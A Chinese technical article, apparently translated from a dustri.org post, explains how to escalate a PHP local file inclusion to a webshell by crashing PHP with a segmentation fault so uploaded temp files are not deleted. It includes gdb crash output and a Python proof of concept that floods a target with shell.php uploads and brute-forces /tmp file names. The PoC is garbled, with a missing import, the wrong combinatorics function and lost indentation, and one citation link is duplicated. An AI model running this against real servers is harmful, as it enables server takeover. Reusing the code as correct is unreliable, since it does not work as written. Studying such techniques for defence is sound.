【技术进阶】LFI利用的一种可能性

每个人都知道如果遇到LFI(https://en.wikipedia.org/wiki/File_inclusion_vulnerability#Local_File_Inclusion)可以尝试通过 /proc/self/environ/var/log/apache2/error.log技巧来获取webshell,但是似乎很少有人知道tmp_name。可以通过可控的$_SESSION变量来访问/proc或者/var/log,在2011年,Gynvael Coldwind公布了一个文档(https://dustri.org/b/%7Cfilanem%7C/files/PHP_LFI_rfc1867_temporary_files.pdf),首先提出可以利用tmp_name,之后Brett Moore(https://dustri.org/b/%7Cfilanem%7C/files/PHP_LFI_rfc1867_temporary_files.pdf) 提出可以借助phpinfo()来猜测tmp_nmae。

PHP的官方文档说(https://secure.php.net/manual/en/features.file-upload.post-method.php),当通过RFC-1867的方式来上传文件时,临时文件将存放在服务器的默认临时目录中,当请求完成后,文件将会从临时目录删除。

如果我们要成功利用LFI来包含上传的临时文件,必须要在删除文件前赢得条件竞争,对我们来说困难的是,tmp_name是6位大小写字母数字混合的,在linux上利用mkstemp生产,短时间破解是不可能的。

有没有一种方式可以阻止php删除临时文件呢?如果php接受到一个SIGSEGV(当一个进程执行了一个无效的内存引用,或者发行段错误时发送的信号)信号,就不会移除临时文件。

比如:

<?php

include 'test.php';

 

然后调用gdb调试

 

$ gdb -q =php

Reading symbols from/usr/bin/php...(no debugging symbols found)...done.

(gdb) r -f test.php

Starting program: /usr/bin/php-f test.php

[Thread debugging usinglibthread_db enabled]

Using host libthread_db library"/lib/x86_64-linux-gnu/libthread_db.so.1".

 

Program received signalSIGSEGV, Segmentation fault.

0x00005555557deb60 in ?? ()

(gdb) bt 24

#0  0x00005555557deb60 in ?? ()

#1  0x00005555557dfd31 in virtual_file_ex ()

#2  0x00005555557e120f in tsrm_realpath ()

#3  0x000055555575751e in php_resolve_path ()

#4  0x00007fffecd6ce19 inphar_find_in_include_path () from /usr/lib/php/20151012/phar.so

#5  0x000055555576bc2e in_php_stream_open_wrapper_ex ()

#6  0x0000555555750799 inphp_stream_open_for_zend_ex ()

#7  0x00005555557ce104 in zend_stream_fixup ()

#8  0x000055555577a606 in open_file_for_scanning()

#9  0x000055555577a981 in compile_file ()

#10 0x00005555557a1682 indtrace_compile_file ()

#11 0x00007fffecd86710 in ?? ()from /usr/lib/php/20151012/phar.so

#12 0x000055555577acd3 incompile_filename ()

#13 0x00005555558412b7 in ?? ()

#14 0x00005555557f116b inexecute_ex ()

#15 0x00005555557a1741 in dtrace_execute_ex()

#16 0x00005555558413bc in ?? ()

#17 0x00005555557f116b inexecute_ex ()

#18 0x00005555557a1741 indtrace_execute_ex ()

#19 0x00005555558413bc in ?? ()

#20 0x00005555557f116b inexecute_ex ()

#21 0x00005555557a1741 indtrace_execute_ex ()

#22 0x00005555558413bc in ?? ()

#23 0x00005555557f116b inexecute_ex ()

(More stack frames follow...)

 

我们的计划是:

  1. 上传文件触发自包含
  2.  重复第一步骤
  3. 增加赢得条件竞争的几率
  4.  增加猜测的胜算
  5.  暴力破解/tmp/[0-9a-zA-Z]{6}
  6.  访问我们的webshell

 

POC 代码如下:

 

import itertools

import requests

import sys

 

print('[+] Trying to win therace')

f = {'file': open('shell.php','rb')}

for _ in range(4096 * 4096):

requests.post('http://target.com/index.php?c=index.php', f)

 

 

print('[+] Bruteforcing theinclusion')

for fname initertools.combinations(string.ascii_letters + string.digits, 6):

url ='http://target.com/index.php?c=/tmp/php' + fname

r = requests.get(url)

if 'load average' in r.text:  # <?php echo system('uptime');

print('[+] We have got a shell: ' +url)

sys.exit(0)

 

print('[x] Something wentwrong, please try again')

 

原文参考:

https://dustri.org/b/index2.html

Mickeyyyyy  补天漏洞响应平台